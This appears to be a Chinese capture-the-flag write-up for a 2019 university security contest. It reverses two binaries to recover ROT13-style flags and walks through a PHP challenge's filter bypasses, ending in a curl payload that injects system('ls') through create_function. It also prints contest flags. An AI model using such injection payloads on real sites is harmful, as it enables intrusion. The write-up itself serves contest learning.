2019年“北邮网安杯”解题报告
RE
Re1 simple check-in!
1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA)

拖入IDA中,按R转换就出来flag了。

Re2
1.先放进PeiD,看文件类型。(方便后面用IDA的时候知道选择哪个系统版本的IDA)
2.拖入IDA中,查看sub_401000,应该是一个自加密,解密一下,正常了。
得到加密程序:
bool __cdecl sub_401000(const char *a1)
{
signed int v1; // ecx@3
const char v2; // al@4
const char v3; // dl@6
char v5; // [sp+0h] [bp-24h]@3
char v6; // [sp+1h] [bp-23h]@3
char v7; // [sp+2h] [bp-22h]@3
char v8; // [sp+3h] [bp-21h]@3
char v9; // [sp+4h] [bp-20h]@3
char v10; // [sp+5h] [bp-1Fh]@3
char v11; // [sp+6h] [bp-1Eh]@3
char v12; // [sp+7h] [bp-1Dh]@3
char v13; // [sp+8h] [bp-1Ch]@3
char v14; // [sp+9h] [bp-1Bh]@3
char v15; // [sp+Ah] [bp-1Ah]@3
char v16; // [sp+Bh] [bp-19h]@3
char v17; // [sp+Ch] [bp-18h]@3
char v18; // [sp+Dh] [bp-17h]@3
char v19; // [sp+Eh] [bp-16h]@3
char v20; // [sp+Fh] [bp-15h]@3
char v21; // [sp+10h] [bp-14h]@3
char v22; // [sp+11h] [bp-13h]@3
char v23; // [sp+12h] [bp-12h]@3
char v24; // [sp+13h] [bp-11h]@3
char v25; // [sp+14h] [bp-10h]@3
char v26; // [sp+15h] [bp-Fh]@3
char v27; // [sp+16h] [bp-Eh]@3
char v28; // [sp+17h] [bp-Dh]@3
char v29; // [sp+18h] [bp-Ch]@3
char v30; // [sp+19h] [bp-Bh]@3
char v31; // [sp+1Ah] [bp-Ah]@3
char v32; // [sp+1Bh] [bp-9h]@3
char v33; // [sp+1Ch] [bp-8h]@3
int v34; // [sp+20h] [bp-4h]@1
v34 = *(_BYTE *)(*(_DWORD *)(__readfsdword(24) + 48) + 2);
if ( !v34 )
exit(0);
v15 = 103;
v20 = 103;
v31 = 103;
v5 = 79;
v6 = 72;
v7 = 67;
v8 = 71;
v9 = 123;
v10 = 74;
v11 = 98;
v12 = 106;
v13 = 95;
v14 = 52;
v16 = 102;
v17 = 95;
v18 = 101;
v19 = 66;
v21 = 95;
v22 = 121;
v23 = 54;
v24 = 95;
v25 = 114;
v26 = 97;
v27 = 112;
v28 = 101;
v29 = 108;
v30 = 99;
v32 = 125;
v33 = 0;
v1 = 0;
do
{
v2 = a1[v1];
if ( v2 >= 97 && v2 <= 122 )
{
v3 = (v2 - 84) % 26 + 97;
LABEL_13:
a1[v1] = v3;
goto LABEL_14;
}
if ( v2 >= 65 && v2 <= 90 )
{
v3 = (v2 - 52) % 26 + 65;
goto LABEL_13;
}
if ( v2 >= 48 && v2 <= 57 )
{
v3 = (v2 - 35) % 10 + 48;
goto LABEL_13;
}
LABEL_14:
++v1;
}
while ( v1 < 28 );
return strcmp(&v5, a1) != 0;
}
3.根据ascii码可以看出 是一个凯撒密码
4.看到了123 125 是 {和}
5.简单的转换下 ,得到一串字符串:OHCG{Jbj_4gf_eBg_y6_rapelcg}
v=[79,72,67,71,123,74,98,106,95,52,103,102,95,101,66,103,95,121,54,95,114,97,112,101,108,99,103,125]
s=''
for i in v:
s+=chr(i)
print s
6.能看出来是rot13,但是提交上去不对,想到了rot13并没有将数字偏移,于是将数字也处理下, +10-13
4+10-13=1
6+10-13=3
所以 将4替换为1,6替换为3
得到flag BUPT{Wow_1ts_rOt_l3_encrypt}
WEB
easy php PHP is the best language!
备注:这题的几个考点就是1.$_REQUEST的变量覆盖2.编码绕过3.PHP数组特性4.正则绕过
5. file_get_contents函数6.creat_function
1. 这题代码审计,那么几个条件,输出都是一样,为了避免出错,还是本地搭建测试一波,die出来都不一样到时候也好判断哪里出错了。

2.第一处
if($_REQUEST) {
foreach($_REQUEST as $key=>$value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('111');
这里就是把$_GET,$_POST,$_COOKIE传进来的值进行了正则匹配,如果包含了A-Z和a-z的字母就返回111,这里的$_REQUEST有一个特性,就是当GET和POST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配。
2.
if($_SERVER) {
if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))
die('222');
}
这里就选择urlencode来绕过
3.
$ia = "index.php";
if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') {
$ia = $_GET["ia"];
}
用%0a换行符绕过
4.
if(file_get_contents($ia)!=='buptisfun') {
die('333');
}
用data://绕过
5.
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
die('444');
} else {
$action('', $arg);
}
用creat_function绕过
5. 最终在vps上面用curl过去就行;
Payload:curl "https://ctf8081.bupt.edu.cn/?%62%75%70%74=%62%75%70%74%69%73%66%75%6e%0a&ia=data://,%62%75%70%74%69%73%66%75%6e&%6c%69%75%70%69[]=&%66%6c%61%67[action]=\\create_function&%66%6c%61%67[arg]=return%20123;\}system('ls');//" -d "bupt=123&ia=123&arg=123"

得到flag BUPT{PHP_Bl@ck_Tech_1s_Interesting}
你说 · 2021-08-30 09:34